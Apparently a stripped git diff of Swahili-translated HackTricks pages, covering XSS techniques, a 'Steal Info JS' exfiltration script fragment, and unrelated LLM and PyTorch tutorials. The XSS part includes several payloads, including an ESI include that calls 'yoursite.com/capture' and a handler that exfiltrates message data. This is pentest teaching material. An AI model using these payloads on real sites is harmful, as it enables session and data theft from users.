Kwa sababu ya **RoR mass assignment** nukuu zinaingizwa kwenye HTML na kisha kikomo cha nukuu kinapita na maeneo ya ziada (onfocus) yanaweza kuongezwa ndani ya lebo.\
Mfano wa fomu ([kutoka ripoti hii](https://hackerone.com/reports/709336)), ikiwa utatuma payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
The pair "Key","Value" itarudi kama ifuatavyo:
Jumla "Key","Value" itarudi kama ifuatavyo:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
@ -822,18 +822,18 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS na uingizaji kichwa katika jibu la 302
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kifanye JavaScript isiyo na mipaka**. Hii **si rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting pekee haitakuwa na manufaa.
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kifanye JavaScript isiyo na mipaka**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting ni bure.
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote kati yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\
Protokali zilizojulikana zamani: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Location kisicho na kitu_, `resource://`.
### Herufi, Nambari na Nukta Pekee
Ikiwa unaweza kuonyesha **callback** ambayo javascript itakuwa **inayo tekeleza** ikipunguzwa kwa herufi hizo. [**Soma sehemu hii ya chapisho hili**](./#javascript-function) ili kujua jinsi ya kutumia tabia hii vibaya.
Ikiwa unaweza kuonyesha **callback** ambayo javascript itakuwa **inafanya** ikipunguzia herufi hizo. [**Soma sehemu hii ya chapisho hili**](./#javascript-function) ili kujua jinsi ya kutumia tabia hii vibaya.
### Aina za Maudhui Halali za `<script>` kwa XSS
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ikiwa unajaribu kupakia script yenye **aina ya maudhui** kama `application/octet-stream`, Chrome itatupa kosa lifuatalo:
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ikiwa unajaribu kupakia script yenye **aina ya maudhui** kama `application/octet-stream`, Chrome itatoa kosa lifuatalo:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
@ -859,9 +859,9 @@ const char* const kSupportedJavascriptTypes[] = {
};
```
### Aina za Skripti kwa XSS
### Script Types to XSS
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Hivyo, ni aina gani zinaweza kuashiria kupakia skripti?
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Hivyo, ni aina gani zinaweza kuashiria kupakia script?
```html
<script type="???"></script>
```
@ -893,7 +893,7 @@ import moment from "moment";
import { partition } from "lodash";
</script>
```
Hali hii ilitumika katika [**hii ripoti**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kuweza kuibua XSS.
Hali hii ilitumika katika [**hii ripoti**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kutumika vibaya inaweza kusababisha XSS.
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Kifanyikavyo ni hivi:
```html
@ -924,7 +924,7 @@ Hali hii ilitumika katika [**hii ripoti**](https://github.com/zwade/yaca/tree/ma
* application/rss+xml (off)
* application/atom+xml (off)
Katika vivinjari vingine aina nyingine za **`Content-Types`** zinaweza kutumika kutekeleza JS isiyo na mipaka, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
Katika vivinjari vingine **`Content-Types`** nyingine zinaweza kutumika kutekeleza JS isiyo na mipaka, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
@ -1086,7 +1086,7 @@ trigger()
### Iframe Trap
Fanya mtumiaji aendelee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu):
Fanya mtumiaji aelekee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu):
{% content-ref url="../iframe-traps.md" %}
[iframe-traps.md](../iframe-traps.md)
@ -1307,7 +1307,7 @@ Unaweza pia kutumia: [https://xsshunter.com/](https://xsshunter.com)
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
### Regex - Upataji wa Maudhui ya Siri
### Regex - Access Hidden Content
Kutoka [**hii ripoti**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinapotea kutoka JS, bado inawezekana kuziona katika sifa za JS katika vitu tofauti. Kwa mfano, ingizo la REGEX bado linaweza kupatikana baada ya thamani ya ingizo la regex kuondolewa:
```javascript
@ -1338,25 +1338,25 @@ Unaweza kuingiza msimbo wa Markdown ambao utaonyeshwa? Labda unaweza kupata XSS!
[xss-in-markdown.md](xss-in-markdown.md)
{% endcontent-ref %}
### XSS hadi SSRF
### XSS kwa SSRF
Una XSS kwenye **tovuti inayotumia caching**? Jaribu **kuiboresha hiyo hadi SSRF** kupitia Edge Side Include Injection na payload hii:
Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuiboresha hiyo kuwa SSRF** kupitia Edge Side Include Injection kwa kutumia payload hii:
```python
<esi:include src="http://yoursite.com/capture" />
```
Tumia ili kupita vizuizi vya kuki, vichujio vya XSS na mengi zaidi!\
Taarifa zaidi kuhusu mbinu hii hapa: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
Use it to bypass cookie restrictions, XSS filters and much more!\
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### XSS katika PDF inayoundwa kwa dinamik
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia pembejeo zinazodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mipaka**.\
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakuwa **inafasiri** hizo, na unaweza **kuitumia** tabia hii kusababisha **Server XSS**.
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia input inayodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mipaka**.\
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakwenda **kuziandika**, na unaweza **kuitumia** tabia hii kusababisha **Server XSS**.
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
{% endcontent-ref %}
Ikiwa huwezi kuingiza vitambulisho vya HTML inaweza kuwa na faida kujaribu **kuingiza data za PDF**:
Ikiwa huwezi kuingiza HTML tags inaweza kuwa na faida kujaribu **kuingiza data za PDF**:
{% content-ref url="pdf-injection.md" %}
[pdf-injection.md](pdf-injection.md)
@ -1364,7 +1364,7 @@ Ikiwa huwezi kuingiza vitambulisho vya HTML inaweza kuwa na faida kujaribu **kui
### XSS katika Amp4Email
AMP, inayolenga kuongeza utendaji wa ukurasa wa wavuti kwenye vifaa vya rununu, inajumuisha vitambulisho vya HTML vilivyoongezwa na JavaScript ili kuhakikisha utendaji kwa kuzingatia kasi na usalama. Inasaidia anuwai ya vipengele kwa ajili ya vipengele mbalimbali, vinavyopatikana kupitia [AMP components](https://amp.dev/documentation/components/?format=websites).
AMP, inayolenga kuongeza utendaji wa ukurasa wa wavuti kwenye vifaa vya rununu, inajumuisha HTML tags zilizoimarishwa na JavaScript ili kuhakikisha kazi na kuzingatia kasi na usalama. Inasaidia anuwai ya vipengele kwa ajili ya vipengele mbalimbali, vinavyopatikana kupitia [AMP components](https://amp.dev/documentation/components/?format=websites).
Muundo wa [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) unapanua vipengele maalum vya AMP kwa barua pepe, na kuwapa wapokeaji uwezo wa kuingiliana na maudhui moja kwa moja ndani ya barua zao pepe.
@ -1444,7 +1444,7 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).

View file

@ -1,6 +1,8 @@
# Steal Info JS
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -13,8 +15,6 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```javascript
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
@ -123,13 +123,11 @@ window.onmessage = function(e){
exfil_info("onmessage", encode(e.data))
}
```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -137,7 +135,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}

View file

@ -2,19 +2,19 @@
## Pretraining
Pretraining ni hatua ya msingi katika kuendeleza mfano mkubwa wa lugha (LLM) ambapo mfano unakabiliwa na kiasi kikubwa na tofauti za data ya maandiko. Wakati wa hatua hii, **LLM inajifunza muundo wa msingi, mifumo, na nuances za lugha**, ikiwa ni pamoja na sarufi, msamiati, sintaksia, na uhusiano wa muktadha. Kwa kuchakata data hii kubwa, mfano unapata uelewa mpana wa lugha na maarifa ya jumla ya ulimwengu. Msingi huu wa kina unamwezesha LLM kutoa maandiko yanayofaa na yanayohusiana na muktadha. Baadaye, mfano huu wa awali unaweza kupitia mchakato wa fine-tuning, ambapo unafundishwa zaidi kwenye seti maalum za data ili kubadilisha uwezo wake kwa kazi au maeneo maalum, kuboresha utendaji wake na umuhimu katika matumizi yaliyokusudiwa.
Pretraining ni hatua ya msingi katika kuendeleza mfano mkubwa wa lugha (LLM) ambapo mfano unakabiliwa na kiasi kikubwa na tofauti za data za maandiko. Wakati wa hatua hii, **LLM inajifunza muundo, mifumo, na nuances za lugha**, ikiwa ni pamoja na sarufi, msamiati, sintaksia, na uhusiano wa muktadha. Kwa kuchakata data hii kubwa, mfano unapata uelewa mpana wa lugha na maarifa ya jumla ya ulimwengu. Msingi huu wa kina unamwezesha LLM kutoa maandiko yanayofaa na yanayohusiana na muktadha. Baadaye, mfano huu ulioandaliwa unaweza kupitia mchakato wa fine-tuning, ambapo unafundishwa zaidi kwenye seti maalum za data ili kubadilisha uwezo wake kwa kazi au maeneo maalum, kuboresha utendaji wake na umuhimu katika matumizi yaliyolengwa.
## Vipengele Vikuu vya LLM
Kawaida LLM inajulikana kwa usanidi unaotumika kuifundisha. Hizi ndizo sehemu za kawaida wakati wa kufundisha LLM:
* **Parameters**: Parameters ni **uzito na upendeleo unaoweza kujifunzwa** katika mtandao wa neva. Hizi ni nambari ambazo mchakato wa mafunzo unarekebisha ili kupunguza kazi ya hasara na kuboresha utendaji wa mfano kwenye kazi. LLMs kawaida hutumia mamilioni ya parameters.
* **Parameters**: Parameters ni **uzito na upendeleo unaoweza kujifunza** katika mtandao wa neva. Hizi ni nambari ambazo mchakato wa mafunzo unarekebisha ili kupunguza kazi ya hasara na kuboresha utendaji wa mfano kwenye kazi. LLMs kawaida hutumia mamilioni ya parameters.
* **Context Length**: Hii ni urefu wa juu wa kila sentensi inayotumika kuandaa LLM.
* **Embedding Dimension**: Ukubwa wa vector inayotumika kuwakilisha kila token au neno. LLMs kawaida hutumia bilioni za dimensions.
* **Hidden Dimension**: Ukubwa wa tabaka zilizofichwa katika mtandao wa neva.
* **Number of Layers (Depth)**: Idadi ya tabaka ambazo mfano unao. LLMs kawaida hutumia tabaka kumi.
* **Number of Attention Heads**: Katika mifano ya transformer, hii ni idadi ya mitambo tofauti ya umakini inayotumika katika kila tabaka. LLMs kawaida hutumia vichwa kumi.
* **Dropout**: Dropout ni kama asilimia ya data inayondolewa (uwezekano unakuwa 0) wakati wa mafunzo inayotumika **kuzuia overfitting.** LLMs kawaida hutumia kati ya 0-20%.
* **Number of Layers (Depth)**: Idadi ya tabaka ambazo mfano unazo. LLMs kawaida hutumia miongozo kumi.
* **Number of Attention Heads**: Katika mifano ya transformer, hii ni idadi ya mitambo tofauti ya umakini inayotumika katika kila tabaka. LLMs kawaida hutumia miongozo kumi.
* **Dropout**: Dropout ni kitu kama asilimia ya data inayondolewa (uwezekano unakuwa 0) wakati wa mafunzo inayotumika **kuzuia overfitting.** LLMs kawaida hutumia kati ya 0-20%.
Usanidi wa mfano wa GPT-2:
```json
@ -28,29 +28,29 @@ GPT_CONFIG_124M = {
"qkv_bias": False // Query-Key-Value bias
}
```
## Tensors in PyTorch
## Tensors katika PyTorch
Katika PyTorch, **tensor** ni muundo wa msingi wa data unaotumika kama array ya multidimensional, ukijumuisha dhana kama scalars, vectors, na matrices kwa viwango vya juu zaidi. Tensors ndio njia kuu ambayo data inawakilishwa na kushughulikiwa katika PyTorch, hasa katika muktadha wa deep learning na neural networks.
### Mathematical Concept of Tensors
### Dhana ya Kihesabu ya Tensors
* **Scalars**: Tensors wa kiwango 0, wak representing nambari moja (dimensional sifuri). Kama: 5
* **Vectors**: Tensors wa kiwango 1, wak representing array ya nambari za dimensional moja. Kama: \[5,1]
* **Matrices**: Tensors wa kiwango 2, wak representing arrays za dimensional mbili zenye mistari na nguzo. Kama: \[\[1,3], \[5,2]]
* **Higher-Rank Tensors**: Tensors wa kiwango 3 au zaidi, wak representing data katika dimensions za juu (mfano, tensors za 3D kwa picha za rangi).
* **Scalars**: Tensors za kiwango 0, zinazoakisi nambari moja (dimensional sifuri). Kama: 5
* **Vectors**: Tensors za kiwango 1, zinazoakisi array ya nambari za dimensional moja. Kama: \[5,1]
* **Matrices**: Tensors za kiwango 2, zinazoakisi arrays za dimensional mbili zikiwa na mistari na nguzo. Kama: \[\[1,3], \[5,2]]
* **Tensors za Kiwango cha Juu**: Tensors za kiwango 3 au zaidi, zinazoakisi data katika viwango vya juu (mfano, tensors za 3D kwa picha za rangi).
### Tensors as Data Containers
### Tensors kama Vifungashio vya Data
Kutoka kwa mtazamo wa kompyuta, tensors hufanya kazi kama vyombo vya data za multidimensional, ambapo kila dimension inaweza kuwakilisha vipengele tofauti au nyanja za data. Hii inafanya tensors kuwa na uwezo mkubwa wa kushughulikia datasets ngumu katika kazi za machine learning.
Kutoka kwa mtazamo wa kompyuta, tensors hufanya kazi kama vifungashio vya data za multidimensional, ambapo kila dimension inaweza kuwakilisha vipengele tofauti au nyanja za data. Hii inafanya tensors kuwa na uwezo mkubwa wa kushughulikia seti za data ngumu katika kazi za machine learning.
### PyTorch Tensors vs. NumPy Arrays
### Tensors za PyTorch vs. NumPy Arrays
Ingawa tensors za PyTorch zinafanana na arrays za NumPy katika uwezo wao wa kuhifadhi na kushughulikia data za nambari, zinatoa kazi za ziada muhimu kwa ajili ya deep learning:
* **Automatic Differentiation**: Tensors za PyTorch zinasaidia hesabu ya moja kwa moja ya gradients (autograd), ambayo inarahisisha mchakato wa kuhesabu derivatives zinazohitajika kwa ajili ya mafunzo ya neural networks.
* **GPU Acceleration**: Tensors katika PyTorch zinaweza kuhamishwa na kuhesabiwa kwenye GPUs, ikiongeza kasi ya hesabu kubwa.
### Creating Tensors in PyTorch
### Kuunda Tensors katika PyTorch
Unaweza kuunda tensors kwa kutumia kazi ya `torch.tensor`:
```python
@ -72,7 +72,7 @@ tensor3d = torch.tensor([[[1, 2], [3, 4]],
```
### Tensor Data Types
PyTorch tensors zinaweza kuhifadhi data za aina mbalimbali, kama vile nambari nzima na nambari za kuogelea.&#x20;
PyTorch tensors zinaweza kuhifadhi data za aina mbalimbali, kama vile nambari nzima na nambari za kuzunguka.&#x20;
Unaweza kuangalia aina ya data ya tensor kwa kutumia sifa ya `.dtype`:
```python
@ -80,7 +80,7 @@ tensor1d = torch.tensor([1, 2, 3])
print(tensor1d.dtype) # Output: torch.int64
```
* Tensors zilizoundwa kutoka kwa nambari za Python ni za aina `torch.int64`.
* Tensors zilizoundwa kutoka kwa floats za Python ni za aina `torch.float32`.
* Tensors zilizoundwa kutoka kwa float za Python ni za aina `torch.float32`.
Ili kubadilisha aina ya data ya tensor, tumia njia ya `.to()`:
```python
@ -101,7 +101,7 @@ print(tensor2d.shape) # Output: torch.Size([2, 2])
```python
reshaped = tensor2d.reshape(4, 1)
```
* **Transposing Tensors**: Tumia `.T` kubadilisha mwelekeo wa tensor 2D.
* **Transposing Tensors**: Tumia `.T` kubadilisha tensor ya 2D.
```python
transposed = tensor2d.T
@ -116,23 +116,23 @@ result = tensor2d @ tensor2d.T
Tensors ni muhimu katika PyTorch kwa ajili ya kujenga na kufundisha mitandao ya neva:
* Wanahifadhi data za ingizo, uzito, na upendeleo.
* Wanahifadhi data za ingizo, uzito, na bias.
* Wanarahisisha operesheni zinazohitajika kwa ajili ya kupita mbele na nyuma katika algorithimu za mafunzo.
* Pamoja na autograd, tensors zinawezesha hesabu ya moja kwa moja ya gradients, ikirahisisha mchakato wa kuboresha.
* Pamoja na autograd, tensors zinawezesha hesabu ya moja kwa moja ya gradients, ikirahisisha mchakato wa optimization.
## Automatic Differentiation
Automatic differentiation (AD) ni mbinu ya kompyuta inayotumika **kuthibitisha derivatives (gradients)** za kazi kwa ufanisi na kwa usahihi. Katika muktadha wa mitandao ya neva, AD inawezesha hesabu ya gradients zinazohitajika kwa **algorithimu za kuboresha kama gradient descent**. PyTorch inatoa injini ya utofautishaji wa moja kwa moja inayoitwa **autograd** ambayo inarahisisha mchakato huu.
Automatic differentiation (AD) ni mbinu ya kompyuta inayotumika **kuthibitisha derivatives (gradients)** za kazi kwa ufanisi na kwa usahihi. Katika muktadha wa mitandao ya neva, AD inawezesha hesabu ya gradients zinazohitajika kwa **algorithimu za optimization kama gradient descent**. PyTorch inatoa injini ya automatic differentiation inayoitwa **autograd** ambayo inarahisisha mchakato huu.
### Mathematical Explanation of Automatic Differentiation
**1. The Chain Rule**
Katika msingi wa utofautishaji wa moja kwa moja ni **chain rule** kutoka kwa hesabu. Chain rule inasema kwamba ikiwa una muundo wa kazi, derivative ya kazi iliyounganishwa ni bidhaa ya derivatives za kazi zilizounganishwa.
Katika msingi wa automatic differentiation ni **chain rule** kutoka calculus. Chain rule inasema kwamba ikiwa una muundo wa kazi, derivative ya kazi iliyounganishwa ni bidhaa ya derivatives za kazi zilizounganishwa.
Kihesabu, ikiwa `y=f(u)` na `u=g(x)`, basi derivative ya `y` kwa heshima na `x` ni:
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**2. Computational Graph**
@ -142,7 +142,7 @@ Katika AD, hesabu zinawakilishwa kama voz katika **computational graph**, ambapo
Hebu tuchukue kazi rahisi:
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ambapo:
@ -150,15 +150,15 @@ Ambapo:
* `y=1.0` ni lebo ya lengo.
* `L` ni hasara.
Tunataka kuhesabu gradient ya hasara `L` kwa heshima na uzito `w` na upendeleo `b`.
Tunataka kuhesabu gradient ya hasara `L` kwa heshima na uzito `w` na bias `b`.
**4. Computing Gradients Manually**
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
**5. Numerical Calculation**
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
### Implementing Automatic Differentiation in PyTorch
@ -214,7 +214,7 @@ Katika mitandao mikubwa ya neural yenye tabaka nyingi, mchakato wa kuhesabu grad
Fikiria mtandao rahisi wa neural wenye tabaka moja lililo fichwa:
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
### **4. Utekelezaji wa PyTorch**

View file

@ -23,8 +23,8 @@ Self-attention, or intra-attention, is a mechanism where attention is applied wi
#### Key Concepts
* **Tokens**: Vipengele vya kibinafsi vya mlolongo wa ingizo (e.g., maneno katika sentensi).
* **Embeddings**: Uwakilishi wa vector wa tokens, ukichukua taarifa za maana.
* **Tokens**: Vipengele vya kibinafsi vya mfuatano wa ingizo (e.g., maneno katika sentensi).
* **Embeddings**: Uwiano wa vektori wa tokens, ukichukua taarifa za maana.
* **Attention Weights**: Thamani zinazotathmini umuhimu wa kila token kulingana na wengine.
### Calculating Attention Weights: A Step-by-Step Example
@ -47,15 +47,15 @@ For each word in the sentence, compute the **attention score** with respect to "
**Attention Score between "Hello" and "shiny"**
<figure><img src="../../.gitbook/assets/image (4) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Attention Score between "shiny" and "shiny"**
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Attention Score between "sun" and "shiny"**
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
#### Step 2: Normalize Attention Scores to Obtain Attention Weights
@ -67,19 +67,19 @@ Moreover, **softmax** function is used because it accentuates differences due to
Apply the **softmax function** to the attention scores to convert them into attention weights that sum to 1.
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
Calculating the exponentials:
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
Calculating the sum:
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Calculating attention weights:
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt="" width="404"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
#### Step 3: Compute the Context Vector
@ -95,13 +95,13 @@ Calculating each component:
* **Weighted Embedding of "Hello"**:
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
* **Weighted Embedding of "shiny"**:
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
* **Weighted Embedding of "sun"**:
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
Summing the weighted embeddings:
@ -119,7 +119,7 @@ Summing the weighted embeddings:
In practice, self-attention mechanisms use **trainable weights** to learn the best representations for queries, keys, and values. This involves introducing three weight matrices:
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
The query is the data to use like before, while the keys and values matrices are just random-trainable matrices.
@ -159,18 +159,18 @@ values = torch.matmul(inputs, W_value)
**Compute Attention Scores**
Kama mfano wa awali, lakini wakati huu, badala ya kutumia thamani za vipimo vya tokens, tunatumia matrix ya funguo ya token (iliyohesabiwa tayari kwa kutumia vipimo):. Hivyo, kwa kila query `qi` na funguo `kj`:
Kama ilivyo katika mfano wa awali, lakini wakati huu, badala ya kutumia thamani za vipimo vya tokens, tunatumia matrix ya funguo ya token (iliyohesabiwa tayari kwa kutumia vipimo):. Hivyo, kwa kila query `qi` na funguo `kj`:
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
**Scale the Scores**
